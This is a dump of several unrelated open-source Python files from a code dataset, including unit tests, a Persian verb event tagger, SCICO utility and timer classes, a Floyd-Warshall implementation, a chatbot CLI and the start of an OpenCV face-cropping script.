point.\n\nenv.close()\n","sub_path":"A3/training_scripts/train_a2c.py","file_name":"train_a2c.py","file_ext":"py","file_size_in_byte":3527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"197511296","text":"import unittest\nimport os\nfrom github import Github\n\n\nclass GithubTest(unittest.TestCase):\n\n def test_deve_retornar_todos_repos_do_usuario(self):\n usuario = 'gpsilva'\n github = Github()\n repositorios = github.obter_repositorios_do(usuario)\n self.assertEqual(10, len(repositorios))\n\n def test_obter_dados_dos_repositorios(self):\n repo1 = {\n 'name': 'repo1',\n 'stargazers_count': 2,\n 'language': 'python',\n 'html_url': 'http://',\n 'owner': {\n 'login': 'usuario1'\n }\n }\n repositorios = [repo1]\n\n github = Github()\n resultado = github.obter_dados_dos(repositorios)\n dados = resultado[0]\n self.assertEqual(repo1.get('name'), dados.get('nome_repositorio'))\n self.assertEqual(repo1.get('stargazers_count'), dados.get('estrelas'))\n self.assertEqual(repo1.get('language'), dados.get('linguagem'))\n self.assertEqual(repo1.get('html_url'), dados.get('url_repositorio'))\n self.assertEqual(repo1.get('owner').get('login'), dados.get('usuario'))\n\n def test_converter_dados_para_salvar_no_csv(self):\n repositorios = [\n {\n 'nome_repositorio': 'repo1',\n 'estrelas': 2,\n 'linguagem': 'python',\n 'url_repositorio': 'http://',\n 'usuario': 'usuario1'\n }\n ]\n github = Github()\n lista = github.converter_para_lista(repositorios)\n self.assertEqual(1, len(lista))\n primeiro = lista[0]\n self.assertEqual('repo1', primeiro[0])\n self.assertEqual(2, primeiro[1])\n self.assertEqual('python', primeiro[2])\n\n def test_deve_criar_arquivo_csv(self):\n nome_arquivo = '/tmp/repositorios.csv'\n conteudo = [['repo1', 2, 'python', 'http://', 'usuario1']]\n github = Github()\n arquivo_gerado = github.salvar(arquivo=nome_arquivo, conteudo=conteudo)\n self.assertTrue(os.path.exists(arquivo_gerado))\n\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"treinamento-python-devops/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"432266139","text":"from django.test import TestCase\n\nfrom .models import Entity, EntityContact\n\n\nclass EntityTestCase(TestCase):\n\n def setUp(self):\n entity_data = {\n 'name': 'Some church',\n 'type': 'church',\n 'address': '1234 something lane',\n 'city': 'Miami',\n 'state': 'FL',\n 'zip_code': 33014,\n 'url': 'http://somechurch.com',\n 'phone': '305-123-4567',\n }\n\n Entity.objects.create(**entity_data)\n\n def test_entities_are_created(self):\n entity = Entity.objects.get(name='Some church')\n self.assertEqual(entity.type, 'church')\n","sub_path":"cms/entities/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"461715090","text":"#coding:utf-8\r\nfrom Conll09FileReader import Conll09FileReader\r\nfrom SentenceData09 import SentenceData09\r\nfrom CompoundVerb import CompoundVerb\r\nfrom Tagger.EventAttributes import EventAttributes\r\nfrom Tagger.EventAttribute import EventAttribute\r\nfrom ModalityDetector import ModalityDetector\r\nimport globals\r\nfrom ClassFeatureExtraction import ClassFeatureExtraction\r\nfrom PolarityDetector import PolarityDetector\r\nclass VerbEventTagger(object):\r\n '''\r\n This Class only tags verbs as Events in sentences\r\n '''\r\n \r\n def __init__(self, fileName, ):\r\n self.reader = Conll09FileReader(fileName)\r\n self.compoundVerb = CompoundVerb()\r\n self.eventAttributes = EventAttributes()\r\n self.eventAttribute = EventAttribute()\r\n \r\n def Tag(self, sentence):\r\n sentenceLength = sentence.getSentenceLength()\r\n eventAttributes = []#EventAttributes()\r\n modalityDetector = ModalityDetector()\r\n classFeatureExtractor = ClassFeatureExtraction()\r\n polarityDetector = PolarityDetector()\r\n global eventID\r\n for wordIndex in range(sentenceLength):\r\n #word = sentence.getWord(wordIndex)\r\n #print(word)\r\n if sentence.getPOSCoarse(wordIndex) == 'V':\r\n word = sentence.getWord(wordIndex)\r\n aspect = sentence.getAspectuality(wordIndex)\r\n modality = modalityDetector.Detect(sentence, wordIndex)\r\n pos = 'VERB'\r\n polarity = polarityDetector.detect(word, sentence.getPOSCoarse(wordIndex), sentence.getLemma(wordIndex))\r\n tense = sentence.getTense(wordIndex)\r\n mood = sentence.getMood(wordIndex)\r\n \r\n if self.IsAstBoodHast(sentence,wordIndex):\r\n self.eventAttribute = self.eventAttribute.SetAttributes(isEvent=False,text=sentence.getWord(wordIndex))\r\n eventAttributes.append(self.eventAttribute)\r\n continue\r\n if self.IsProgressive(sentence,wordIndex):\r\n self.eventAttribute = self.eventAttribute.SetAttributes(isEvent=False,text=sentence.getWord(wordIndex))\r\n eventAttributes.append(self.eventAttribute)\r\n continue\r\n if self.IsModal(sentence,wordIndex):\r\n self.eventAttribute = self.eventAttribute.SetAttributes(isEvent=False,text=sentence.getWord(wordIndex))\r\n eventAttributes.append(self.eventAttribute)\r\n continue\r\n \r\n \r\n #s3 In this scenario we already have compound verb with consecutive parts as one single token we tagged them with one eventID and for other verbs just the verb part tagged\r\n \r\n '''\r\n #s2 In this scenario compound verbs detected and the verbs with consecutive parts tagged with the same eventID and others just the verb part tagged\r\n if self.IsCompoundVerb(sentence, wordIndex):\r\n \r\n verbIdices = self.compoundVerb.extractNonVerbalIndexOfCompoundVerb(sentence, wordIndex)\r\n verbWord = ''\r\n for index in verbIdices:\r\n verbWord += sentence.getWord(index)+' '\r\n verbWord += sentence.getWord(wordIndex)\r\n classfeature = classFeatureExtractor.Extract(verbWord)\r\n \r\n verbIdices.append(wordIndex)\r\n if self.IsConsecutive(verbIdices):\r\n verbWord=''\r\n for index in verbIdices:\r\n verbWord += sentence.getWord(index)+' '\r\n polarity = polarityDetector.detect(verbWord, sentence.getPOSCoarse(wordIndex),sentence.getLemma(wordIndex))\r\n eventAttribute = self.eventAttribute.SetAttributes(True,globals.eventID,classfeature,verbWord,aspect,modality,pos,polarity,tense,mood)\r\n else:\r\n eventAttribute = self.eventAttribute.SetAttributes(True,globals.eventID,classfeature,word,aspect,modality,pos,polarity,tense,mood)\r\n '''\r\n #s1 In this scenario all the parts tagged with the same eventID\r\n if self.IsCompoundVerb(sentence, wordIndex):\r\n verbIdices = self.compoundVerb.extractNonVerbalIndexOfCompoundVerb(sentence, wordIndex)\r\n verbWord = ''\r\n for index in verbIdices:\r\n verbWord += sentence.getWord(index)+' '\r\n verbWord = verbWord.rstrip(' ')\r\n verbWord = verbWord + ' ' + word\r\n classfeature = classFeatureExtractor.Extract(verbWord)\r\n for index in verbIdices:\r\n #verbWord += sentence.getWord(wordIndex)+' '\r\n eventAttribute = self.eventAttribute.SetAttributes(True,globals.id,globals.eventID,classfeature,sentence.getWord(index),aspect,modality,pos,polarity,tense,mood)\r\n eventAttributes[index] = eventAttribute\r\n globals.id+=1\r\n eventAttribute = self.eventAttribute.SetAttributes(True,globals.id,globals.eventID,classfeature,word,aspect,modality,pos,polarity,tense,mood)\r\n eventAttributes.append(eventAttribute)\r\n globals.eventID +=1\r\n globals.id+=1\r\n else:\r\n classfeature = classFeatureExtractor.Extract(word)\r\n eventAttribute = self.eventAttribute.SetAttributes(True,globals.id,globals.eventID,classfeature,word,aspect,modality,pos,polarity,tense,mood)\r\n eventAttributes.append(eventAttribute)\r\n globals.eventID +=1\r\n globals.id+=1\r\n else:\r\n eventAttribute = self.eventAttribute.SetAttributes(isEvent=False,text=sentence.getWord(wordIndex))\r\n eventAttributes.append(eventAttribute)\r\n return eventAttributes\r\n \r\n def BatchTag(self):\r\n numberOfSentences = self.reader.getNumberOfSentences()\r\n EventVerbs = []\r\n for sentenceIndex in range(1,numberOfSentences):\r\n sentence = self.reader.getSentence(sentenceIndex)\r\n sentenceLength = sentence.getSentenceLength()\r\n for wordIndex in range(sentenceLength):\r\n if sentence.getPOSCoarse(wordIndex) == 'V':\r\n if self.IsAstBoodHast(sentence,wordIndex):\r\n #self.eventAttributes.add(sentence, 0)\r\n continue\r\n if self.IsProgressive(sentence,wordIndex):\r\n #self.eventAttributes.add(sentence, 0)\r\n continue\r\n if self.IsModal(sentence,wordIndex):\r\n #self.eventAttributes.add(sentence, 0)\r\n continue\r\n #print(sentence.getWord(wordIndex))\r\n if self.IsCompoundVerb(sentence, wordIndex):\r\n verbIdices = self.compoundVerb.extractNonVerbalIndexOfCompoundVerb(sentence, wordIndex)\r\n \r\n \r\n s = ''\r\n for item in verbIdices:\r\n s += sentence.getWord(item)+' '\r\n #s+=sentence.getWord(wordIndex)\r\n s+=sentence.getLemma(wordIndex).split('#')[0]+'ن'\r\n EventVerbs.append(s)\r\n '''\r\n for index in verbIdices:\r\n self.eventAttributes.add(sentence, index)\r\n self.eventAttributes.add(sentence, wordIndex)\r\n '''\r\n else:\r\n #self.eventAttributes.add(sentence, wordIndex)\r\n EventVerbs.append(sentence.getLemma(wordIndex).split('#')[0]+'ن')\r\n #VerbInices.append([sentenceIndex,wordIndex])\r\n #else:\r\n # self.eventAttributes.add(sentence, 0)\r\n return EventVerbs\r\n \r\n \r\n \r\n def IsAstBoodHast(self,sentence,wordIndex):\r\n lemma = sentence.getLemma(wordIndex)\r\n lemmas = lemma.split('#')\r\n if 'است' in lemmas or 'بود' in lemmas or 'هست' in lemmas:\r\n return True\r\n return False\r\n \r\n def IsProgressive(self,sentence,wordIndex):\r\n dependencyRel = sentence.getDependencyRel(wordIndex)\r\n if dependencyRel == 'PROG':\r\n return True\r\n return False\r\n \r\n def IsModal(self,sentence,wordIndex):\r\n posFine = sentence.getPOSFine(wordIndex)\r\n if posFine == 'MODL':\r\n return True\r\n return False\r\n def IsCompoundVerb(self,sentence,verbIndex):\r\n if not self.compoundVerb.extractNonVerbalIndexOfCompoundVerb(sentence, verbIndex):\r\n return False\r\n return True\r\n def IsConsecutive(self,verbIdices):\r\n for i in range(0,len(verbIdices)-1):\r\n if verbIdices[i+1]-verbIdices[i]!=1:\r\n return False\r\n return True","sub_path":"EventProcessing/Tagger/VerbEventTagger.py","file_name":"VerbEventTagger.py","file_ext":"py","file_size_in_byte":9329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"429210282","text":"# -*- coding: utf-8 -*-\n# Copyright (C) 2020-2021 by SCICO Developers\n# All rights reserved. BSD 3-clause License.\n# This file is part of the SCICO package. Details of the copyright and\n# user license can be found in the 'LICENSE' file distributed with the\n# package.\n\n\"\"\"Utility functions.\"\"\"\n\n# The timer classes in this module are copied from https://github.com/bwohlberg/sporco\n\nfrom __future__ import annotations\n\nimport io\nimport socket\nimport urllib.error as urlerror\nimport urllib.request as urlrequest\nimport warnings\nfrom functools import wraps\nfrom timeit import default_timer as timer\nfrom typing import Any, Callable, List, Optional, Union\n\nimport numpy as np\n\nimport jax\nfrom jax.interpreters.batching import BatchTracer\nfrom jax.interpreters.partial_eval import DynamicJaxprTracer\nfrom jax.interpreters.pxla import ShardedDeviceArray\nfrom jax.interpreters.xla import DeviceArray\n\nimport scico.blockarray\nfrom scico.typing import Axes, JaxArray, Shape\n\n__author__ = \"\"\"\\n\"\"\".join(\n [\n \"Brendt Wohlberg \",\n \"Luke Pfister \",\n \"Thilo Balke \",\n ]\n)\n\n\ndef ensure_on_device(\n *arrays: Union[np.ndarray, JaxArray, scico.blockarray.BlockArray]\n) -> Union[JaxArray, scico.blockarray.BlockArray]:\n \"\"\"Casts ndarrays to DeviceArrays and leaves DeviceArrays, BlockArrays, and ShardedDeviceArray\n as is.\n\n This is intended to be used when initializing optimizers and functionals so that all arrays are\n either DeviceArrays, BlockArrays, or ShardedDeviceArray.\n\n Args:\n *arrays: One or more input arrays (ndarray, DeviceArray, BlockArray, or ShardedDeviceArray).\n\n Returns:\n arrays : Modified array or arrays. Modified are only those that were necessary.\n\n Raises:\n TypeError: If the arrays contain something that is neither ndarray, DeviceArray, BlockArray,\n nor ShardedDeviceArray.\n\n \"\"\"\n arrays = list(arrays)\n\n for i in range(len(arrays)):\n\n if isinstance(arrays[i], np.ndarray):\n warnings.warn(\n f\"Argument {i+1} of {len(arrays)} is an np.ndarray. \"\n f\"Will cast it to DeviceArray. \"\n f\"To suppress this warning cast all np.ndarrays to DeviceArray first.\",\n stacklevel=2,\n )\n\n arrays[i] = jax.device_put(arrays[i])\n elif not isinstance(\n arrays[i],\n (DeviceArray, scico.blockarray.BlockArray, ShardedDeviceArray),\n ):\n raise TypeError(\n f\"Each item of `arrays` must be ndarray, DeviceArray, BlockArray, or ShardedDeviceArray; \"\n f\"Argument {i+1} of {len(arrays)} is {type(arrays[i])}.\"\n )\n\n if len(arrays) == 1:\n return arrays[0]\n else:\n return arrays\n\n\ndef url_get(url: str, maxtry: int = 3, timeout: int = 10) -> io.BytesIO: # pragma: no cover\n \"\"\"Get content of a file via a URL.\n\n Args:\n url: URL of the file to be downloaded\n maxtry: Maximum number of download retries. Default: 3.\n timeout: Timeout in seconds for blocking operations. Default: 10\n\n Returns:\n Buffered I/O stream\n\n Raises:\n ValueError: If the maxtry parameter is not greater than zero\n urllib.error.URLError: If the file cannot be downloaded\n \"\"\"\n\n if maxtry <= 0:\n raise ValueError(\"Parameter maxtry should be greater than zero\")\n for ntry in range(maxtry):\n try:\n rspns = urlrequest.urlopen(url, timeout=timeout)\n cntnt = rspns.read()\n break\n except urlerror.URLError as e:\n if not isinstance(e.reason, socket.timeout):\n raise\n\n return io.BytesIO(cntnt)\n\n\ndef parse_axes(\n axes: Axes, shape: Optional[Shape] = None, default: Optional[List[int]] = None\n) -> List[int]:\n \"\"\"\n Normalize `axes` to a list and optionally ensure correctness.\n\n Normalize `axes` to a list and (optionally) ensure that entries refer to axes that exist\n in `shape`.\n\n Args:\n axes: user specification of one or more axes: int, list, tuple, or ``None``\n shape: the shape of the array of which axes are being specified.\n If not ``None``, `axes` is checked to make sure its entries refer to axes that\n exist in `shape`.\n default: default value to return if `axes` is ``None``. By default,\n `list(range(len(shape)))`.\n\n Returns:\n List of axes (never an int, never ``None``)\n \"\"\"\n\n if axes is None:\n if default is None:\n if shape is None:\n raise ValueError(f\"`axes` cannot be `None` without a default or shape specified\")\n else:\n axes = list(range(len(shape)))\n else:\n axes = default\n elif isinstance(axes, (list, tuple)):\n axes = axes\n elif isinstance(axes, int):\n axes = (axes,)\n else:\n raise ValueError(f\"Could not understand axes {axes} as a list of axes\")\n if shape is not None and max(axes) >= len(shape):\n raise ValueError(\n f\"Invalid axes {axes} specified; each axis must be less than `len(shape)`={len(shape)}\"\n )\n elif len(set(axes)) != len(axes):\n raise ValueError(\"Duplicate vaue in axes {axes}; each axis must be unique\")\n return axes\n\n\ndef is_nested(x: Any) -> bool:\n \"\"\"Check if input is a list/tuple containing at least one list/tuple.\n\n Args:\n x: Object to be tested.\n\n Returns:\n True if ``x`` is a list/tuple of list/tuples, False otherwise.\n\n\n Example:\n >>> is_nested([1, 2, 3])\n False\n >>> is_nested([(1,2), (3,)])\n True\n >>> is_nested([ [1, 2], 3])\n True\n\n \"\"\"\n if isinstance(x, (list, tuple)):\n if any([isinstance(_, (list, tuple)) for _ in x]):\n return True\n else:\n return False\n else:\n return False\n\n\ndef check_for_tracer(func: Callable) -> Callable:\n \"\"\"Check if positional arguments to ``func`` are jax tracers.\n\n This is intended to be used as a decorator for functions that call\n external code from within SCICO. At present, external functions cannot\n be jit-ed or vmap/pmaped. This decorator checks for signs of jit/vmap/pmap\n and raises an appropriate exception.\n \"\"\"\n\n @wraps(func)\n def wrapper(*args, **kwargs):\n if any([isinstance(x, DynamicJaxprTracer) for x in args]):\n raise TypeError(\n f\"DynamicJaxprTracer found in {func.__name__}; did you jit this function?\"\n )\n if any([isinstance(x, BatchTracer) for x in args]):\n raise TypeError(\n f\"BatchTracer found in {func.__name__}; did you vmap/pmap this function?\"\n )\n else:\n return func(*args, **kwargs)\n\n return wrapper\n\n\nclass Timer:\n \"\"\"Timer class supporting multiple independent labeled timers.\n\n The timer is based on the relative time returned by\n :func:`timeit.default_timer`.\n \"\"\"\n\n def __init__(\n self,\n labels: Optional[Union[str, List[str]]] = None,\n default_label: str = \"main\",\n all_label: str = \"all\",\n ):\n \"\"\"\n Args:\n labels: Label(s) of the timer(s) to be initialised to zero.\n default_label : Default timer label to be used when methods are called without\n specifying a label\n all_label : Label string that will be used to denote all timer labels\n \"\"\"\n\n # Initialise current and accumulated time dictionaries\n self.t0 = {}\n self.td = {}\n # Record default label and string indicating all labels\n self.default_label = default_label\n self.all_label = all_label\n # Initialise dictionary entries for labels to be created\n # immediately\n if labels is not None:\n if not isinstance(labels, (list, tuple)):\n labels = [\n labels,\n ]\n for lbl in labels:\n self.td[lbl] = 0.0\n self.t0[lbl] = None\n\n def start(self, labels: Optional[Union[str, List[str]]] = None):\n \"\"\"Start specified timer(s).\n\n Args:\n labels : Label(s) of the timer(s) to be started. If it is ``None``, start the\n default timer with label specified by the `default_label` parameter of\n :meth:`__init__`.\n \"\"\"\n\n # Default label is self.default_label\n if labels is None:\n labels = self.default_label\n # If label is not a list or tuple, create a singleton list\n # containing it\n if not isinstance(labels, (list, tuple)):\n labels = [\n labels,\n ]\n # Iterate over specified label(s)\n t = timer()\n for lbl in labels:\n # On first call to start for a label, set its accumulator to zero\n if lbl not in self.td:\n self.td[lbl] = 0.0\n self.t0[lbl] = None\n # Record the time at which start was called for this lbl if\n # it isn't already running\n if self.t0[lbl] is None:\n self.t0[lbl] = t\n\n def stop(self, labels: Optional[Union[str, List[str]]] = None):\n \"\"\"Stop specified timer(s).\n\n Args:\n labels: Label(s) of the timer(s) to be stopped. If it is ``None``, stop the\n default timer with label specified by the `default_label` parameter of\n :meth:`__init__`. If it is equal to the string specified by the\n `all_label` parameter of :meth:`__init__`, stop all timers.\n \"\"\"\n\n # Get current time\n t = timer()\n # Default label is self.default_label\n if labels is None:\n labels = self.default_label\n # All timers are affected if label is equal to self.all_label,\n # otherwise only the timer(s) specified by label\n if labels == self.all_label:\n labels = self.t0.keys()\n elif not isinstance(labels, (list, tuple)):\n labels = [\n labels,\n ]\n # Iterate over specified label(s)\n for lbl in labels:\n if lbl not in self.t0:\n raise KeyError(f\"Unrecognized timer key {lbl}\")\n # If self.t0[lbl] is None, the corresponding timer is\n # already stopped, so no action is required\n if self.t0[lbl] is not None:\n # Increment time accumulator from the elapsed time\n # since most recent start call\n self.td[lbl] += t - self.t0[lbl]\n # Set start time to None to indicate timer is not running\n self.t0[lbl] = None\n\n def reset(self, labels: Optional[Union[str, List[str]]] = None):\n \"\"\"Reset specified timer(s).\n\n Args:\n labels: Label(s) of the timer(s) to be stopped. If it is ``None``, stop the\n default timer with label specified by the `default_label` parameter of\n :meth:`__init__`. If it is equal to the string specified by the\n `all_label` parameter of :meth:`__init__`, stop all timers.\n \"\"\"\n\n # Default label is self.default_label\n if labels is None:\n labels = self.default_label\n # All timers are affected if label is equal to self.all_label,\n # otherwise only the timer(s) specified by label\n if labels == self.all_label:\n labels = self.t0.keys()\n elif not isinstance(labels, (list, tuple)):\n labels = [\n labels,\n ]\n # Iterate over specified label(s)\n for lbl in labels:\n if lbl not in self.t0:\n raise KeyError(f\"Unrecognized timer key {lbl}\")\n # Set start time to None to indicate timer is not running\n self.t0[lbl] = None\n # Set time accumulator to zero\n self.td[lbl] = 0.0\n\n def elapsed(self, label: Optional[str] = None, total: bool = True) -> float:\n \"\"\"Get elapsed time since timer start.\n\n Args:\n label: Label of the timer for which the elapsed time is required. If it is\n ``None``, the default timer with label specified by the `default_label`\n parameter of :meth:`__init__` is selected.\n total: If ``True`` return the total elapsed time since the first call of\n :meth:`start` for the selected timer, otherwise return the elapsed time\n since the most recent call of :meth:`start` for which there has not been\n a corresponding call to :meth:`stop`.\n\n Returns:\n Elapsed time\n \"\"\"\n\n # Get current time\n t = timer()\n # Default label is self.default_label\n if label is None:\n label = self.default_label\n # Return 0.0 if default timer selected and it is not initialised\n if label not in self.t0:\n return 0.0\n # Raise exception if timer with specified label does not exist\n if label not in self.t0:\n raise KeyError(f\"Unrecognized timer key {label}\")\n # If total flag is True return sum of accumulated time from\n # previous start/stop calls and current start call, otherwise\n # return just the time since the current start call\n te = 0.0\n if self.t0[label] is not None:\n te = t - self.t0[label]\n if total:\n te += self.td[label]\n\n return te\n\n def labels(self) -> List[str]:\n \"\"\"Get a list of timer labels.\n\n Returns:\n List of timer labels\n \"\"\"\n\n return self.t0.keys()\n\n def __str__(self) -> str:\n \"\"\"Return string representation of object.\n\n The representation consists of a table with the following columns:\n\n * Timer label\n * Accumulated time from past start/stop calls\n * Time since current start call, or 'Stopped' if timer is not\n currently running\n \"\"\"\n\n # Get current time\n t = timer()\n # Length of label field, calculated from max label length\n fldlen = [len(lbl) for lbl in self.t0] + [\n len(self.default_label),\n ]\n lfldln = max(fldlen) + 2\n # Header string for table of timers\n s = f\"{'Label':{lfldln}s} Accum. Current\\n\"\n s += \"-\" * (lfldln + 25) + \"\\n\"\n # Construct table of timer details\n for lbl in sorted(self.t0):\n td = self.td[lbl]\n if self.t0[lbl] is None:\n ts = \" Stopped\"\n else:\n ts = f\" {(t - self.t0[lbl]):.2e} s\" % (t - self.t0[lbl])\n s += f\"{lbl:{lfldln}s} {td:.2e} s {ts}\\n\"\n\n return s\n\n\nclass ContextTimer:\n \"\"\"A wrapper class for :class:`Timer` that enables its use as a\n context manager.\n\n For example, instead of\n\n >>> t = Timer()\n >>> t.start()\n >>> do_something()\n >>> t.stop()\n >>> elapsed = t.elapsed()\n\n one can use\n\n >>> t = Timer()\n >>> with ContextTimer(t):\n ... do_something()\n >>> elapsed = t.elapsed()\n \"\"\"\n\n def __init__(\n self,\n timer: Optional[Timer] = None,\n label: Optional[str] = None,\n action: str = \"StartStop\",\n ):\n \"\"\"\n Args:\n timer: Timer object to be used as a context manager. If ``None``, a\n new class:`Timer` object is constructed.\n label: Label of the timer to be used. If it is ``None``, start the default timer.\n action: Actions to be taken on context entry and exit. If the value is 'StartStop',\n start the timer on entry and stop on exit; if it is 'StopStart', stop the timer\n on entry and start it on exit.\n \"\"\"\n\n if action not in [\"StartStop\", \"StopStart\"]:\n raise ValueError(f\"Unrecognized action {action}\")\n if timer is None:\n self.timer = Timer()\n else:\n self.timer = timer\n self.label = label\n self.action = action\n\n def __enter__(self):\n \"\"\"Start the timer and return this ContextTimer instance.\"\"\"\n\n if self.action == \"StartStop\":\n self.timer.start(self.label)\n else:\n self.timer.stop(self.label)\n return self\n\n def __exit__(self, type, value, traceback):\n \"\"\"Stop the timer and return True if no exception was raised within\n the 'with' block, otherwise return False.\n \"\"\"\n\n if self.action == \"StartStop\":\n self.timer.stop(self.label)\n else:\n self.timer.start(self.label)\n if type:\n return False\n else:\n return True\n\n def elapsed(self, total: bool = True) -> float:\n \"\"\"Return the elapsed time for the timer.\n\n Args:\n total: If ``True`` return the total elapsed time since the first call of\n :meth:`start` for the selected timer, otherwise return the elapsed time\n since the most recent call of :meth:`start` for which there has not been\n a corresponding call to :meth:`stop`.\n\n Returns:\n Elapsed time\n \"\"\"\n\n return self.timer.elapsed(self.label, total=total)\n","sub_path":"scico/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":17307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"330587103","text":"from collections import deque\nimport math\n\n\nclass FloydWarshall:\n def __init__(self):\n self.parents = {}\n self.paths = {}\n\n def find(self, graph):\n self.graph = graph\n self.init_parents()\n g = graph\n p = self.parents\n\n for k in g:\n for i in g:\n for j in g:\n if g[i][k] + g[k][j] < g[i][j]:\n g[i][j] = g[i][k] + g[k][j]\n p[i][j] = k\n\n return self.restore_paths()\n\n def init_parents(self):\n for i in self.graph:\n parent_row = {}\n path_row = {}\n for j in self.graph:\n parent_row[j] = None\n path_row[j] = None\n self.parents[i] = parent_row\n self.paths[i] = path_row\n\n def restore_paths(self):\n q = deque()\n\n for i, row in enumerate(self.graph):\n for j, col in enumerate(self.graph):\n if math.isfinite(self.graph[row][col]):\n self.paths[row][col] = deque()\n mid = self.parents[row][col]\n if mid:\n self.paths[row][col].append(mid)\n q.append((row, col, self.parents[row][mid], self.parents[mid][col]))\n else:\n q.append((row, col, None, None))\n\n while True:\n if not q:\n break\n\n node = q.popleft()\n row, col, left, right = node\n\n if left:\n self.paths[row][col].appendleft(left)\n q.append((row, col, self.parents[row][left], None))\n if right:\n self.paths[row][col].append(right)\n q.append((row, col, None, self.parents[col][right]))\n if not left and not right:\n self.paths[row][col].appendleft(row)\n self.paths[row][col].append(col)\n","sub_path":"lab_1/src/floyd_warshall.py","file_name":"floyd_warshall.py","file_ext":"py","file_size_in_byte":1937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"49728802","text":"'''\nScript to start or train the chatbot.\n'''\nimport argparse\nimport csv\nimport logging as log\nimport sys\nfrom pathlib import Path\nfrom src.graph import get_model_template, load_graph, END_STATE, START_STATE\n\nINPUT_DS_CSV = 'inputDs'\nOUTPUT_DS_CSV = 'outputDs'\nGRAPH_ARG = 'graph'\nMODEL_NAME_ARG = 'model'\nCREATE_GRAPH_ARG = 'createGraphTemplate'\nTRAIN_ARG = 'train'\nVERBOSITY_ARG = 'verbose'\nDEFAULT_GRAPH_FILENAME = 'graph.json'\nOUTPUT_TO_CLASS_FILENAME = 'output_to_class.csv'\nINPUT_TO_CLASS_FILENAME = 'input_to_class.csv'\nTRAINED_MODEL_FOLDER = 'trainedModels'\n\nparser = argparse.ArgumentParser()\nparser.add_argument(f'-{INPUT_DS_CSV[0]}', f'--{INPUT_DS_CSV}',\n type=str,\n help='Csv file with user input and labeled classes',\n default=INPUT_TO_CLASS_FILENAME)\nparser.add_argument(f'-{VERBOSITY_ARG[0]}', f'--{VERBOSITY_ARG}',\n help='Csv file with user input and labeled classes',\n action='store_true')\nparser.add_argument(f'-{GRAPH_ARG[0]}', f'--{GRAPH_ARG}',\n type=str,\n help='json file that specify model with nodes and transitions',\n default=DEFAULT_GRAPH_FILENAME)\nparser.add_argument(f'-{MODEL_NAME_ARG[0]}', f'--{MODEL_NAME_ARG}',\n type=str,\n help='Folder of used language model',\n default=f'{TRAINED_MODEL_FOLDER}/model')\nparser.add_argument(f'-{TRAIN_ARG[0]}', f'--{TRAIN_ARG}',\n action='store_true',\n help='Train model based on dataset')\n\nparser.add_argument(f'-{CREATE_GRAPH_ARG[0]}', f'--{CREATE_GRAPH_ARG}',\n nargs=\"+\",\n help='Create template for model json file')\n\n\ndef read_csv_file(filepath: Path) -> [(str, str)]:\n '''\n Read the csv file at filepath.\n :param filepath: filepath of csv file\n :return: list of parsed tuples (input/output, class)\n '''\n assert filepath.exists()\n assert filepath.is_file()\n samples_to_class = []\n\n with open(filepath, 'r') as csv_file:\n reader = csv.reader(csv_file)\n next(reader)\n for row in reader:\n # No comment or empty line\n if len(row) > 0 and not row[0].startswith('#'):\n text_sample, class_of_sample = row[0].strip(), row[1].strip()\n samples_to_class.append((text_sample, class_of_sample))\n\n return samples_to_class\n\n\ndef write_graph_template():\n '''\n Write .json template for graph to filepath passed by GRAPH_ARG argument\n :return: None\n '''\n state_names = [START_STATE] + args[CREATE_GRAPH_ARG] + [END_STATE]\n if len(state_names) and state_names[0].isnumeric():\n state_names = list(range(int(state_names[0])))\n state_names = [str(state_name) for state_name in state_names]\n model_json = get_model_template(state_names, all_classes)\n\n with open(args[GRAPH_ARG], 'w') as file:\n file.write(model_json)\n\n\ndef load_output_to_class(path: Path):\n '''\n Load dictionary that map output to classes/label\n :param path: path of output csv file\n :return: output to class dictionary\n '''\n dataset = read_csv_file(path)\n all_output_classes = set(sample[1] for sample in dataset)\n output_to_cls = {cls: [] for cls in all_output_classes}\n\n for text, cls in dataset:\n output_to_cls[cls].append(text)\n\n return output_to_cls\n\n\nif __name__ == '__main__':\n args = vars(parser.parse_args())\n\n filepath_of_input_csv = Path(args[INPUT_DS_CSV])\n model_path = Path(args[MODEL_NAME_ARG])\n input_to_classes = read_csv_file(filepath_of_input_csv)\n all_classes = list(set(cls for sample, cls in input_to_classes))\n\n if not Path(TRAINED_MODEL_FOLDER).exists():\n Path(TRAINED_MODEL_FOLDER).mkdir()\n\n if args[VERBOSITY_ARG]:\n log.StreamHandler(stream=sys.stdout)\n log.basicConfig(format=\"%(levelname)s: %(message)s\", level=log.DEBUG)\n else:\n log.basicConfig(format=\"%(levelname)s: %(message)s\")\n\n if args[CREATE_GRAPH_ARG] is not None:\n write_graph_template()\n elif args[TRAIN_ARG]:\n from src.language_model import LanguageModelApi\n\n lng_model = LanguageModelApi()\n lng_model.train_model(input_to_classes)\n lng_model.save_model(model_path)\n else:\n from src.language_model import LanguageModelApi\n\n filepath_model = args[GRAPH_ARG]\n lng_model = LanguageModelApi(model_path)\n\n output_to_class = load_output_to_class(Path(OUTPUT_TO_CLASS_FILENAME))\n\n graph_json = load_graph(Path(filepath_model), output_to_class, lng_model)\n graph_json.start_input_loop()\n","sub_path":"chatbot.py","file_name":"chatbot.py","file_ext":"py","file_size_in_byte":4684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"403255205","text":"import cv2\nimport numpy as np\n\nface_cascade = cv2.CascadeClassifier('./data/models/haarcascade_frontalface_default.xml')\n\ndef getCroppedEyeRegion(targetImage):\n \n targetImageGray = cv2.cvtColor(targetImage, cv2.COLOR_BGR2GRAY)\n \n faces = face_cascade.detectMultiScale(targetImageGray,1.3,5)\n x,y,w,h = faces[0]\n\n face_roi = targetImage[y:y+h,x:x+w]\n face_height,face_width = face_roi.shape[:2]\n\n # Apply a heuristic formula for getting the eye region 